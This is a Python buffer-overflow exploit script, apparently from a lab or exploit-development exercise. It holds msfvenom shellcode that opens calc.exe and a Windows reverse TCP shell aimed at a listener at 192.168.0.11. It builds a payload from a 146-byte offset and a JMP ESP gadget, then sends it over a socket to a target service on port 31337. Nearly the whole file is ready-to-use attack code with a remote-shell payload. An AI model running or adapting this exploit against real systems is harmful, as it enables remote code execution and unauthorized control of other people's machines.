from socket import socket, SOCK_STREAM, AF_INET
from struct import pack

# pop calc shellcode
# msfvenom -p windows/exec -b '\x00\x0A' -f python --var-name shellcode_calc CMD=calc.exe
def pop_calc():
    shellcode_calc =  b""
    shellcode_calc += b"\xda\xc3\xd9\x74\x24\xf4\xbd\x49\x24\x98"
    shellcode_calc += b"\x2d\x5e\x31\xc9\xb1\x31\x31\x6e\x18\x83"
    shellcode_calc += b"\xc6\x04\x03\x6e\x5d\xc6\x6d\xd1\xb5\x84"
    shellcode_calc += b"\x8e\x2a\x45\xe9\x07\xcf\x74\x29\x73\x9b"
    shellcode_calc += b"\x26\x99\xf7\xc9\xca\x52\x55\xfa\x59\x16"
    shellcode_calc += b"\x72\x0d\xea\x9d\xa4\x20\xeb\x8e\x95\x23"
    shellcode_calc += b"\x6f\xcd\xc9\x83\x4e\x1e\x1c\xc5\x97\x43"
    shellcode_calc += b"\xed\x97\x40\x0f\x40\x08\xe5\x45\x59\xa3"
    shellcode_calc += b"\xb5\x48\xd9\x50\x0d\x6a\xc8\xc6\x06\x35"
    shellcode_calc += b"\xca\xe9\xcb\x4d\x43\xf2\x08\x6b\x1d\x89"
    shellcode_calc += b"\xfa\x07\x9c\x5b\x33\xe7\x33\xa2\xfc\x1a"
    shellcode_calc += b"\x4d\xe2\x3a\xc5\x38\x1a\x39\x78\x3b\xd9"
    shellcode_calc += b"\x40\xa6\xce\xfa\xe2\x2d\x68\x27\x13\xe1"
    shellcode_calc += b"\xef\xac\x1f\x4e\x7b\xea\x03\x51\xa8\x80"
    shellcode_calc += b"\x3f\xda\x4f\x47\xb6\x98\x6b\x43\x93\x7b"
    shellcode_calc += b"\x15\xd2\x79\x2d\x2a\x04\x22\x92\x8e\x4e"
    shellcode_calc += b"\xce\xc7\xa2\x0c\x84\x16\x30\x2b\xea\x19"
    shellcode_calc += b"\x4a\x34\x5a\x72\x7b\xbf\x35\x05\x84\x6a"
    shellcode_calc += b"\x72\xf9\xce\x37\xd2\x92\x96\xad\x67\xff"
    shellcode_calc += b"\x28\x18\xab\x06\xab\xa9\x53\xfd\xb3\xdb"
    shellcode_calc += b"\x56\xb9\x73\x37\x2a\xd2\x11\x37\x99\xd3"
    shellcode_calc += b"\x33\x54\x7c\x40\xdf\xb5\x1b\xe0\x7a\xca"
    return shellcode_calc

# msfvenom -p windows/exec -b '\x00\x0A' -f python --var-name shellcode_calc CMD=calc.exe EXITFUNC=thread
def pop_calc_thread():
    shellcode_calc =  b""
    shellcode_calc += b"\xda\xda\xd9\x74\x24\xf4\xba\x21\x1a\xc1"
    shellcode_calc += b"\x34\x5e\x29\xc9\xb1\x31\x31\x56\x18\x03"
    shellcode_calc += b"\x56\x18\x83\xc6\x25\xf8\x34\xc8\xcd\x7e"
    shellcode_calc += b"\xb6\x31\x0d\x1f\x3e\xd4\x3c\x1f\x24\x9c"
    shellcode_calc += b"\x6e\xaf\x2e\xf0\x82\x44\x62\xe1\x11\x28"
    shellcode_calc += b"\xab\x06\x92\x87\x8d\x29\x23\xbb\xee\x28"
    shellcode_calc += b"\xa7\xc6\x22\x8b\x96\x08\x37\xca\xdf\x75"
    shellcode_calc += b"\xba\x9e\x88\xf2\x69\x0f\xbd\x4f\xb2\xa4"
    shellcode_calc += b"\x8d\x5e\xb2\x59\x45\x60\x93\xcf\xde\x3b"
    shellcode_calc += b"\x33\xf1\x33\x30\x7a\xe9\x50\x7d\x34\x82"
    shellcode_calc += b"\xa2\x09\xc7\x42\xfb\xf2\x64\xab\x34\x01"
    shellcode_calc += b"\x74\xeb\xf2\xfa\x03\x05\x01\x86\x13\xd2"
    shellcode_calc += b"\x78\x5c\x91\xc1\xda\x17\x01\x2e\xdb\xf4"
    shellcode_calc += b"\xd4\xa5\xd7\xb1\x93\xe2\xfb\x44\x77\x99"
    shellcode_calc += b"\x07\xcc\x76\x4e\x8e\x96\x5c\x4a\xcb\x4d"
    shellcode_calc += b"\xfc\xcb\xb1\x20\x01\x0b\x1a\x9c\xa7\x47"
    shellcode_calc += b"\xb6\xc9\xd5\x05\xdc\x0c\x6b\x30\x92\x0f"
    shellcode_calc += b"\x73\x3b\x82\x67\x42\xb0\x4d\xff\x5b\x13"
    shellcode_calc += b"\x2a\x1f\xbe\xb6\x46\x88\x67\x53\xeb\xd5"
    shellcode_calc += b"\x97\x89\x2f\xe0\x1b\x38\xcf\x17\x03\x49"
    shellcode_calc += b"\xca\x5c\x83\xa1\xa6\xcd\x66\xc6\x15\xed"
    shellcode_calc += b"\xa2\xa5\xf8\x7d\x2e\x04\x9f\x05\xd5\x58"
    return shellcode_calc

# reverse shell shellcode - listen with nc -lv 4444
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.11 -f python --var-name shellcode_revtcp -b '\x00\x0A'
def reverse_shell():
    shellcode_revtcp =  b""
    shellcode_revtcp += b"\xd9\xc0\xb8\xd7\xd5\xd7\xd9\xd9\x74\x24"
    shellcode_revtcp += b"\xf4\x5e\x2b\xc9\xb1\x52\x31\x46\x17\x03"
    shellcode_revtcp += b"\x46\x17\x83\x11\xd1\x35\x2c\x61\x32\x3b"
    shellcode_revtcp += b"\xcf\x99\xc3\x5c\x59\x7c\xf2\x5c\x3d\xf5"
    shellcode_revtcp += b"\xa5\x6c\x35\x5b\x4a\x06\x1b\x4f\xd9\x6a"
    shellcode_revtcp += b"\xb4\x60\x6a\xc0\xe2\x4f\x6b\x79\xd6\xce"
    shellcode_revtcp += b"\xef\x80\x0b\x30\xd1\x4a\x5e\x31\x16\xb6"
    shellcode_revtcp += b"\x93\x63\xcf\xbc\x06\x93\x64\x88\x9a\x18"
    shellcode_revtcp += b"\x36\x1c\x9b\xfd\x8f\x1f\x8a\x50\x9b\x79"
    shellcode_revtcp += b"\x0c\x53\x48\xf2\x05\x4b\x8d\x3f\xdf\xe0"
    shellcode_revtcp += b"\x65\xcb\xde\x20\xb4\x34\x4c\x0d\x78\xc7"
    shellcode_revtcp += b"\x8c\x4a\xbf\x38\xfb\xa2\xc3\xc5\xfc\x71"
    shellcode_revtcp += b"\xb9\x11\x88\x61\x19\xd1\x2a\x4d\x9b\x36"
    shellcode_revtcp += b"\xac\x06\x97\xf3\xba\x40\xb4\x02\x6e\xfb"
    shellcode_revtcp += b"\xc0\x8f\x91\x2b\x41\xcb\xb5\xef\x09\x8f"
    shellcode_revtcp += b"\xd4\xb6\xf7\x7e\xe8\xa8\x57\xde\x4c\xa3"
    shellcode_revtcp += b"\x7a\x0b\xfd\xee\x12\xf8\xcc\x10\xe3\x96"
    shellcode_revtcp += b"\x47\x63\xd1\x39\xfc\xeb\x59\xb1\xda\xec"
    shellcode_revtcp += b"\x9e\xe8\x9b\x62\x61\x13\xdc\xab\xa6\x47"
    shellcode_revtcp += b"\x8c\xc3\x0f\xe8\x47\x13\xaf\x3d\xc7\x43"
    shellcode_revtcp += b"\x1f\xee\xa8\x33\xdf\x5e\x41\x59\xd0\x81"
    shellcode_revtcp += b"\x71\x62\x3a\xaa\x18\x99\xad\x15\x74\xa1"
    shellcode_revtcp += b"\x26\xfe\x87\xa1\x29\xa2\x0e\x47\x23\x4a"
    shellcode_revtcp += b"\x47\xd0\xdc\xf3\xc2\xaa\x7d\xfb\xd8\xd7"
    shellcode_revtcp += b"\xbe\x77\xef\x28\x70\x70\x9a\x3a\xe5\x70"
    shellcode_revtcp += b"\xd1\x60\xa0\x8f\xcf\x0c\x2e\x1d\x94\xcc"
    shellcode_revtcp += b"\x39\x3e\x03\x9b\x6e\xf0\x5a\x49\x83\xab"
    shellcode_revtcp += b"\xf4\x6f\x5e\x2d\x3e\x2b\x85\x8e\xc1\xb2"
    shellcode_revtcp += b"\x48\xaa\xe5\xa4\x94\x33\xa2\x90\x48\x62"
    shellcode_revtcp += b"\x7c\x4e\x2f\xdc\xce\x38\xf9\xb3\x98\xac"
    shellcode_revtcp += b"\x7c\xf8\x1a\xaa\x80\xd5\xec\x52\x30\x80"
    shellcode_revtcp += b"\xa8\x6d\xfd\x44\x3d\x16\xe3\xf4\xc2\xcd"
    shellcode_revtcp += b"\xa7\x05\x89\x4f\x81\x8d\x54\x1a\x93\xd3"
    shellcode_revtcp += b"\x66\xf1\xd0\xed\xe4\xf3\xa8\x09\xf4\x76"
    shellcode_revtcp += b"\xac\x56\xb2\x6b\xdc\xc7\x57\x8b\x73\xe7"
    shellcode_revtcp += b"\x7d"
    return shellcode_revtcp

def reverse_shell_thread():
    shellcode_revtcp =  b""
    shellcode_revtcp += b"\xba\xe2\xa1\xb8\x95\xda\xdd\xd9\x74\x24"
    shellcode_revtcp += b"\xf4\x5b\x29\xc9\xb1\x52\x31\x53\x12\x03"
    shellcode_revtcp += b"\x53\x12\x83\x09\x5d\x5a\x60\x31\x76\x19"
    shellcode_revtcp += b"\x8b\xc9\x87\x7e\x05\x2c\xb6\xbe\x71\x25"
    shellcode_revtcp += b"\xe9\x0e\xf1\x6b\x06\xe4\x57\x9f\x9d\x88"
    shellcode_revtcp += b"\x7f\x90\x16\x26\xa6\x9f\xa7\x1b\x9a\xbe"
    shellcode_revtcp += b"\x2b\x66\xcf\x60\x15\xa9\x02\x61\x52\xd4"
    shellcode_revtcp += b"\xef\x33\x0b\x92\x42\xa3\x38\xee\x5e\x48"
    shellcode_revtcp += b"\x72\xfe\xe6\xad\xc3\x01\xc6\x60\x5f\x58"
    shellcode_revtcp += b"\xc8\x83\x8c\xd0\x41\x9b\xd1\xdd\x18\x10"
    shellcode_revtcp += b"\x21\xa9\x9a\xf0\x7b\x52\x30\x3d\xb4\xa1"
    shellcode_revtcp += b"\x48\x7a\x73\x5a\x3f\x72\x87\xe7\x38\x41"
    shellcode_revtcp += b"\xf5\x33\xcc\x51\x5d\xb7\x76\xbd\x5f\x14"
    shellcode_revtcp += b"\xe0\x36\x53\xd1\x66\x10\x70\xe4\xab\x2b"
    shellcode_revtcp += b"\x8c\x6d\x4a\xfb\x04\x35\x69\xdf\x4d\xed"
    shellcode_revtcp += b"\x10\x46\x28\x40\x2c\x98\x93\x3d\x88\xd3"
    shellcode_revtcp += b"\x3e\x29\xa1\xbe\x56\x9e\x88\x40\xa7\x88"
    shellcode_revtcp += b"\x9b\x33\x95\x17\x30\xdb\x95\xd0\x9e\x1c"
    shellcode_revtcp += b"\xd9\xca\x67\xb2\x24\xf5\x97\x9b\xe2\xa1"
    shellcode_revtcp += b"\xc7\xb3\xc3\xc9\x83\x43\xeb\x1f\x03\x13"
    shellcode_revtcp += b"\x43\xf0\xe4\xc3\x23\xa0\x8c\x09\xac\x9f"
    shellcode_revtcp += b"\xad\x32\x66\x88\x44\xc9\xe1\x77\x30\xd1"
    shellcode_revtcp += b"\xfa\x1f\x43\xd1\xed\x83\xca\x37\x67\x2c"
    shellcode_revtcp += b"\x9b\xe0\x10\xd5\x86\x7a\x80\x1a\x1d\x07"
    shellcode_revtcp += b"\x82\x91\x92\xf8\x4d\x52\xde\xea\x3a\x92"
    shellcode_revtcp += b"\x95\x50\xec\xad\x03\xfc\x72\x3f\xc8\xfc"
    shellcode_revtcp += b"\xfd\x5c\x47\xab\xaa\x93\x9e\x39\x47\x8d"
    shellcode_revtcp += b"\x08\x5f\x9a\x4b\x72\xdb\x41\xa8\x7d\xe2"
    shellcode_revtcp += b"\x04\x94\x59\xf4\xd0\x15\xe6\xa0\x8c\x43"
    shellcode_revtcp += b"\xb0\x1e\x6b\x3a\x72\xc8\x25\x91\xdc\x9c"
    shellcode_revtcp += b"\xb0\xd9\xde\xda\xbc\x37\xa9\x02\x0c\xee"
    shellcode_revtcp += b"\xec\x3d\xa1\x66\xf9\x46\xdf\x16\x06\x9d"
    shellcode_revtcp += b"\x5b\x36\xe5\x37\x96\xdf\xb0\xd2\x1b\x82"
    shellcode_revtcp += b"\x42\x09\x5f\xbb\xc0\xbb\x20\x38\xd8\xce"
    shellcode_revtcp += b"\x25\x04\x5e\x23\x54\x15\x0b\x43\xcb\x16"
    shellcode_revtcp += b"\x1e"
    return shellcode_revtcp

RHOST = '192.168.0.100'
RPORT = 31337

s = socket(AF_INET, SOCK_STREAM)
s.connect((RHOST, RPORT))

# find bad chars
test_chars = ''
bad_chars = [0x00, 0x0A]

# generate chars not in bad_chars
for c in range(0x00, 0xFF + 1):
    if c not in bad_chars:
        test_chars += chr(c)

# write test chars to binary file
with open('test_chars.bin', 'wb') as f:
    f.write(test_chars.encode())

buf_length = 1024
srp_offset = 146 	    # stack return pointer offset obtained from msp pattern_create/offset
gadget_loc = 0x080416BF # JMP ESP instruction in program

buf = b'G' * srp_offset 			    # space before SRP
buf += pack('<I', gadget_loc) 			# overwrite srp with 4 bytes, conver to little endian
#buf += b'\x90' * 20                    # noop sled (lazy)
buf += b'\x83\xec\x10'                  # sub esp,0x10 for encoding's GetPC routine (metasm_shell.rb)
buf += reverse_shell_thread()			        # ESP now points here (insert shellcode here)
buf += b'J' * (buf_length - len(buf)) 	# fill rest of buffer
buf += b'\n'

s.send(buf)

print('We sent: ' + buf.decode('cp437'))
